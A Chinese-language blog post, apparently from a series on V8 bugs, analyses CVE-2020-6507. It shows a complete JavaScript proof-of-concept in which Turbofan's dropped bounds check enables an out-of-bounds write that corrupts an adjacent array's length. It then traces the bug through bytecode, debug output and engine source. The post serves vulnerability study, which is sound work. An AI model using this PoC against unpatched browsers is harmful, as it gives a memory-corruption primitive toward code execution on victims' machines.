前言
《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析，讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的，分析 PoC 在 V8 中的执行细节，讲解为什么 PoC 要这样设计。当然，学习 PoC 的设计与使用，是 V8 安全研究的很好的出发点，所以，对于希望深入学习 V8 源码和 PoC 原理的人来说，本系列文章也是很有价值的介绍性读物。
本系列文章主要讲解 https://bugs.chromium.org/p/v8/issues 的内容，每篇文章讲解一个 issue。如果你有想学习的 issue 也可以告诉我，我会优先分析讲解。
1 介绍
本文讲解 CVE-2020-6507，Chrome issues 地址：https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
实验环境：V8 8.3.110.9，Visual Studio 2019，Win 10。
2 漏洞产生原因
漏洞 PoC 代码如下：
1. array = Array(0x40000).fill(1.1);
2. args = Array(0x100 - 1).fill(array);
3. args.push(Array(0x40000 - 4).fill(2.2));
4. giant_array = Array.prototype.concat.apply([], args);
5. giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6. length_as_double =
7. new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8. function trigger(array) {
9. var x = array.length;
10. x -= 67108861;
11. x = Math.max(x, 0);
12. x *= 6;
13. x -= 5;
14. x = Math.max(x, 0);
15. let corrupting_array = [0.1, 0.1];
16. let corrupted_array = [0.1];
17. corrupting_array[x] = length_as_double;
18. return [corrupting_array, corrupted_array];
19. }
20. for (let i = 0; i < 30000; ++i) {
21. trigger(giant_array);
22. }
23. corrupted_array = trigger(giant_array)[1];
24. console.log('corrupted array length: ' + corrupted_array.length.toString(16));
25. corrupted_array[0x123456];
上述代码中，第 1-5 行创建数组 giant_rray；创建该数组时使用了 Turque 编写的 NewFixedDoubleArray() 方法，该方法没有检测数组的最大长度，这是产生漏洞的原因。
V8 规定 FixedDoubleArray::kMaxLength 的值是 67108862，而 giant_rray 的长度是 67108863。
第 8-14 行 Turbofan 优化 trigger() 时，首先查询 feedback 得知 trigger 的参数 array 是 DoubleArray 类型，所以 FixedDoubleArray::kMaxLength 可以用于限制参数 array 的最大长度；
其次第 10 行 x -= 67108861，所以 Turbofan 认为 x 的最大值只能是 1；
再次第 11 行代码 max(x,0)，所以 Turbofan 认为 x 的最小值只能为 0；
然后第 12-14 行不改变 x 是 1 或 0 的事实；
最终，Turbofan 得到结论：x 只能为 0 或 1。基于这个结论，第 17 行的赋值操作不会出现 corrupting_array 越界的情况，故省去赋值前的边界检测。
实际上，x 的最终值是 7，Turbofan 省去赋值前的边界检测，这给越界赋值带来了可乘之机，最终导致 corrupted_array 被污染。
在解释执行模式下，x 的最终值也是 7，但因为有边界检测，才没有发生越界操作。
知识点 （1）Turbofan 优化编译时会考虑每种数据类型的长度限制，例如 String::kMaxLength。Turbofan 遵守 FixedDoubleArray::kMaxLength ，而 NewFixedDoubleArray() 没有遵守，所以才有了 CVE-2020-6507。Turbofan 原理请参见 《chrome v8 源码》系列文章，本文不再赘述。
3 解释模式下的 PoC 行为
下面给出 trigger() 函数的字节码：
1. [generated bytecode for function: trigger (0x03c50824fdd5 <SharedFunctionInfo trigger>)]
2. Parameter count 2
3. Register count 7
4. Frame size 56
5. 401 S> 000003C50825035E @ 0 : 28 02 00 00 LdaNamedProperty a0, [0], [0]
6. 000003C508250362 @ 4 : 26 fb Star r0
7. 412 S> 000003C508250364 @ 6 : 01 41 fd ff ff 03 02 00 00 00 SubSmi.ExtraWide [67108861], [2]
8. 000003C50825036E @ 16 : 26 fb Star r0
9. 430 S> 000003C508250370 @ 18 : 13 01 03 LdaGlobal [1], [3]
10. 000003C508250373 @ 21 : 26 f7 Star r4
11. 439 E> 000003C508250375 @ 23 : 28 f7 02 05 LdaNamedProperty r4, [2], [5]
12. 000003C508250379 @ 27 : 26 f8 Star r3
13. 000003C50825037B @ 29 : 0b LdaZero
14. 000003C50825037C @ 30 : 26 f5 Star r6
15. 439 E> 000003C50825037E @ 32 : 5a f8 f7 fb f5 07 CallProperty2 r3, r4, r0, r6, [7]
16. 000003C508250384 @ 38 : 26 fb Star r0
17. 453 S> 000003C508250386 @ 40 : 42 06 09 MulSmi [6], [9]
18. 000003C508250389 @ 43 : 26 fb Star r0
19. 464 S> 000003C50825038B @ 45 : 41 05 0a SubSmi [5], [10]
20. 000003C50825038E @ 48 : 26 fb Star r0
21. 475 S> 000003C508250390 @ 50 : 13 01 03 LdaGlobal [1], [3]
22. 000003C508250393 @ 53 : 26 f7 Star r4
23. 484 E> 000003C508250395 @ 55 : 28 f7 02 05 LdaNamedProperty r4, [2], [5]
24. 000003C508250399 @ 59 : 26 f8 Star r3
25. 000003C50825039B @ 61 : 0b LdaZero
26. 000003C50825039C @ 62 : 26 f5 Star r6
27. 484 E> 000003C50825039E @ 64 : 5a f8 f7 fb f5 0b CallProperty2 r3, r4, r0, r6, [11]
28. 000003C5082503A4 @ 70 : 26 fb Star r0
29. 523 S> 000003C5082503A6 @ 72 : 7a 03 0d 25 CreateArrayLiteral [3], [13], #37
30. 000003C5082503AA @ 76 : 26 fa Star r1
31. 560 S> 000003C5082503AC @ 78 : 7a 04 0e 25 CreateArrayLiteral [4], [14], #37
32. 000003C5082503B0 @ 82 : 26 f9 Star r2
33. 594 S> 000003C5082503B2 @ 84 : 13 05 0f LdaGlobal [5], [15]
34. 592 E> 000003C5082503B5 @ 87 : 30 fa fb 11 StaKeyedProperty r1, r0, [17]
35. 615 S> 000003C5082503B9 @ 91 : 7a 06 13 25 CreateArrayLiteral [6], [19], #37
36. 000003C5082503BD @ 95 : 26 f7 Star r4
37. 000003C5082503BF @ 97 : 0b LdaZero
38. 000003C5082503C0 @ 98 : 26 f8 Star r3
39. 000003C5082503C2 @ 100 : 25 fa Ldar r1
40. 623 E> 000003C5082503C4 @ 102 : 31 f7 f8 14 StaInArrayLiteral r4, r3, [20]
41. 000003C5082503C8 @ 106 : 0c 01 LdaSmi [1]
42. 000003C5082503CA @ 108 : 26 f8 Star r3
43. 000003C5082503CC @ 110 : 25 f9 Ldar r2
44. 641 E> 000003C5082503CE @ 112 : 31 f7 f8 14 StaInArrayLiteral r4, r3, [20]
45. 000003C5082503D2 @ 116 : 25 f7 Ldar r4
46. 658 S> 000003C5082503D4 @ 118 : aa Return
47. Constant pool (size = 7)
48. 000003C508250319: [FixedArray] in OldSpace
49. - map: 0x03c5080404b1 <Map>
50. - length: 7
51. 0: 0x03c5080425a5 <String[#6]: length>
52. 1: 0x03c5081c6e59 <String[#4]: Math>
53. 2: 0x03c5081c6ff5 <String[#3]: max>
54. 3: 0x03c5082502cd <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502b5 <FixedDoubleArray[2]>>
55. 4: 0x03c5082502e9 <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502d9 <FixedDoubleArray[1]>>
56. 5: 0x03c50824fcad <String[#16]: length_as_double>
57. 6: 0x03c508250305 <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x03c5082502f5 <FixedArray[2]>>
58. Handler Table (size = 0)
59. Source Position Table (size = 42)
60. 0x03c5082503d9 <ByteArray[42]>
上述代码中，第 1-28 行计算 x 的值并存储到寄存器 r0 中；
第 29-30 行创建数组 corrupting_array 并存储到寄存器 r1 中；
第 31-32 行创建数组 corrupted_array 并存储到寄存器 r2 中；
第 33 行读取 length_as_double 的值并存储到累加寄存器中；
第 34 行 StaKeyedProperty 完成 corrupting_array[7] = length_as_double 的赋值操作。
通过 %DebugPrint() 捕获解释执行和 Turbofan 模式下 corrupting_array 的结果如下：
- elements: 0x016a08400285 <FixedDoubleArray[28]> {
0-1: 0.1
2-6: <the_hole>
7: 1.38553e-134 // <-----<-----<------解释执行时，corrupting_array[x]的值正常。
8-27: <the_hole>
}
//分隔线.........................................
elements: 0x016a08cd4481 <FixedDoubleArray[2]> {
0-1: 0.1 //<-------<-------<--------Turbofan模式下，corrupting_array只有两个值。
}
由上面结果可以看出第 34 行 StaKeyedProperty 在解释执行和 Turbofan 中存在不同，StaKeyedProperty 的功能由 Builtins::kKeyedStoreIC 实现，KeyedStoreIC 源码如下：
1. void AccessorAssembler::KeyedStoreIC(const StoreICParameters* p) {
2. Label miss(this, Label::kDeferred);
3. {//省略...............
4. BIND(&try_polymorphic);
5. TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
6. {/*省略...............*/}
7. BIND(&try_megamorphic);
8. {/*省略...............*/}
9. BIND(&no_feedback);
10. {TailCallBuiltin(Builtins::kKeyedStoreIC_Megamorphic, p->context(),
11. p->receiver(), p->name(), p->value(), p->slot());}
12. BIND(&try_polymorphic_name);
13. {/*省略...............*/} }
14. BIND(&miss);
15. {TailCallRuntime(Runtime::kKeyedStoreIC_Miss, p->context(), p->value(),
16. p->slot(), p->vector(), p->receiver(), p->name());
17. }}
上述代码中，第 10 行 Builtins::kKeyedStoreIC_Megamorphic 和 第 15 行 Runtime::kKeyedStoreIC_Miss 是两种不同的实现方式，但他们的功能相同，都可以用于完成 corrupting_array[7] = length_as_double 操作。
Builtins::kKeyedStoreIC_Megamorphic 的核心功能由 KeyedStoreGenericAssembler::EmitGenericElementStore() 实现，其源码如下：
1. void KeyedStoreGenericAssembler::EmitGenericElementStore(
2. TNode<JSObject> receiver, TNode<Map> receiver_map,
3. TNode<Uint16T> instance_type, TNode<IntPtrT> index, TNode<Object> value,
4. TNode<Context> context, Label* slow) {
5. //省略.............
6. GotoIf(IsJSArrayInstanceType(instance_type), &if_array);
7. {
8. TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
9. Print(LoadFixedArrayBaseLength(elements));
10. Branch(UintPtrLessThan(index, capacity), &if_in_bounds, &if_grow); }
11. BIND(&if_array);
12. {
13. TNode<IntPtrT> length = SmiUntag(LoadFastJSArrayLength(CAST(receiver)));
14. GotoIf(UintPtrLessThan(index, length), &if_in_bounds);
15. TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
16. GotoIf(UintPtrGreaterThanOrEqual(index, capacity), &if_grow);
17. Branch(WordEqual(index, length), &if_increment_length_by_one,
18. &if_bump_length_with_gap); }
19. BIND(&if_in_bounds);
20. {/*省略....*/}
21. BIND(&if_increment_length_by_one);
22. {/*省略....*/}
23. BIND(&if_bump_length_with_gap);
24. {/*省略....*/}
25. BIND(&if_grow);
26. {/*省略....*/}
27. BIND(&if_nonfast);
28. {/*省略....*/}
29. BIND(&if_dictionary);
30. {/*省略....*/}
31. BIND(&if_typed_array);
32. {/*省略....*/}
33. }
上述代码中，receiver 代表 PoC 中的 corrupting_array 数组；index 代表 x，值是 7；value 代表 length_as_double。我们在代码中可以看对数组容量进了检测，如第 8-9 行和 13-14 行。corrupting_array 的容量是 2，给 corrupting_array[7] 赋值之前会对 corrupting_array 进行扩容，这说明了为什么解释执行时 corrupting_array[x] 的值是正常的。
Runtime::kKeyedStoreIC_Miss 方法请自行查阅。
结论: 解释执行期间存在数组容量检测，所以没发生越界操作。
4 Turbofan 优化后的 PoC 行为
Turbofan 优化后时去除了容量检测，没有扩容而直接赋值导致了内存越界。优化后的代码如下：
--- Optimized code ---
optimization_id = 0
source_position = 374
kind = OPTIMIZED_FUNCTION
name = trigger
stack_slots = 6
compiler = turbofan
address = 000002D000092BE1
Instructions (size = 848)
000002D000092C20 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
000002D000092C27 7 483bd9 REX.W cmpq rbx,rcx
000002D000092C2A a 7418 jz 000002D000092C44 <+0x24>
000002D000092C2C c 48ba6800000000000000 REX.W movq rdx,0000000000000068
000002D000092C36 16 49ba808870fafe7f0000 REX.W movq r10,00007FFEFA708880 (Abort) ;; off heap target
000002D000092C40 20 41ffd2 call r10
000002D000092C43 23 cc int3l
000002D000092C44 24 8b59d0 movl rbx,[rcx-0x30]
000002D000092C47 27 4903dd REX.W addq rbx,r13
000002D000092C4A 2a f6430701 testb [rbx+0x7],0x1
000002D000092C4E 2e 740d jz 000002D000092C5D <+0x3d>
000002D000092C50 30 49baa0ef65fafe7f0000 REX.W movq r10,00007FFEFA65EFA0 (CompileLazyDeoptimizedCode) ;; off heap target
000002D000092C5A 3a 41ffe2 jmp r10
//省略....................
上述代码中省去了数组的边界检测，通过 —print-code 和 —print-opt-code 选项可以在 d8 中输出上述代码，请自行分析。
5 X 的计算方法
trigger() 中的 corrupting_array 和 corrupted_array 在内存中是连续的，corrupting_array + 7 正好是 corrupted_array的 element 成员的地址，所以对 corrupting_array[7] 赋值会影响 corrupted_array的 element 成员。x 的计算方法如下：
corrupting_array 和 corrupted_array 都是 JSArray 数据类型，JSArray 继承自 JSObject，JSObject 继承自 JSReceiver，JSReceiver 继承自 HeapObject。通过查阅 JSArray、JSObject、JSReceiver 以及 HeapObject 的类定义，再配合 TORQUE_GENERATED_JS_ARRAY_FIELDS、TorqueGeneratedJSObject、TORQUE_GENERATED_JS_RECEIVER_FIELDS 三个宏模板，可以计算出任何一个想要的地址。
好了，今天到这里，下次见。
个人能力有限，有不足与纰漏，欢迎批评指正
微信：qq9123013 备注：v8交流 邮箱：v8blink@outlook.com